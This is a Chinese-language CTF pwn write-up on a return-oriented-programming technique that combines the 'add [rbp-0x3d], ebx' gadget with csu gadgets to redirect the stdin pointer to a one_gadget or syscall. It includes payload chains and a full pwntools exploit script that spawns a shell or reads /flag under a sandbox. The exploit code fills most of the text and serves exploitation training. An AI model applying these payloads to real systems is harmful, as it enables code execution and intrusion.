漏洞原理
ROPgadget --binary pwn | grep ‘add’
add dword ptr [rbp - 0x3d], ebx ; nop ; ret
穷途末路的时候用,将[rbp-0x3d]+rbx赋值给[rbp-0x3d],配合csu使用。效果甚佳
适用:只存在栈溢出,无打印函数
利用
利用过程
1.更改stdin为one_gadget或者syscall
2.call stdin
利用方法
计算偏移
找对应版本的libc,计算与stdin(bss头的libc地址)与one_gadget,syscall的偏移
0xffffffff对应-1
stdin偏移查找
- shift+F12后carl+F搜索stdin ,第一个_IO_2_1_stdin_

- X交叉引用,看data段

3.跟进,找到偏移

4.计算
0xffffffff对应-1,红色为stdin,蓝色为one_gadget/syscall,计算偏移


利用姿势
1.简单,改stdin为one_gadget,一般选择rsi,rdx等寄存器为空的,因为csu可以控制
1 2
| payload=overflow payload+=p64(csu_rear)+p64(one_gadget)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)+p64(csu_rear)+p64(0)*5+p64(stdin)+p64(csu_head)
|
中级,没办法控制rax, 可以通过read控制,读入字节数=rax。找控制rax=0的gadget改stdin为syscall ret 调用read后控制rax=0x3b,获取shell。用的libc中的syscall_ret
ropper --file=/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6 --search “syscall”

1 2 3 4 5
| payload=b'a'*(0x14+8) payload+=p64(csu_rear)+p64(syscall_ret)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic) payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload+=p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head) s((b'/bin/sh\x00').ljust(0x3b),b'\x00')
|
高级,沙盒,类似的用法,通过read控制rax,控制程序执行orw,读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| read=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x500)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload=overflow payload+=p64(csu_rear)+p64(syscall_ret)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic) payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head)+p64(0)*7 payload+=p64(csu_rear)+p64(0)+p64(1)+p64(3)+p64(stdin+0x600)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(1)+p64(stdin+0x600)+p64(0x100)+p64(stdin)+p64(csu_head)+p64(0)*7 bug() s(payload) pause() s(b'/flag') pause() s(b'aa') pause() s(b'a')
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import* from struct import pack import ctypes from LibcSearcher import * def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
elf=ELF('./pwn')
p = process('./pwn') magic=0x000000000040113c csu_head=0x401240 csu_rear=0x40125A stdin=0x404020 def csu(rbx,rbp,r12,r13,r14,r15): payload=b'a'*(0x14+8) payload+=p64(csu_rear)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload+=p64(csu_head) s(payload) ''' payload=b'a'*(0x14+8) payload+=p64(csu_rear)+p64(0xffef7184)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic)+p64(csu_rear)+p64(0)*5+p64(stdin)+p64(csu_head)
payload=b'a'*(0x14+8) payload+=p64(csu_rear)+p64(0xffe76729)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic) payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload+=p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head) '''
read=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x500)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload=b'a'*(0x14+8) payload+=p64(csu_rear)+p64(0xffe76729)+p64(stdin+0x3d)+p64(0)*3+p64(stdin)+p64(magic) payload+=p64(csu_rear)+p64(0)+p64(1)+p64(0)+p64(stdin+0x400)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(stdin+0x400)+p64(0)+p64(0)+p64(stdin)+p64(csu_head)+p64(0)*7 payload+=p64(csu_rear)+p64(0)+p64(1)+p64(3)+p64(stdin+0x600)+p64(0x100)+p64(elf.got['read'])+p64(csu_head)+p64(0)*7 payload+=read+p64(csu_rear)+p64(0)+p64(1)+p64(1)+p64(stdin+0x600)+p64(0x100)+p64(stdin)+p64(csu_head)+p64(0)*7 bug() s(payload) pause() s(b'/flag') pause() s(b'aa') pause() s(b'a')
inter()
|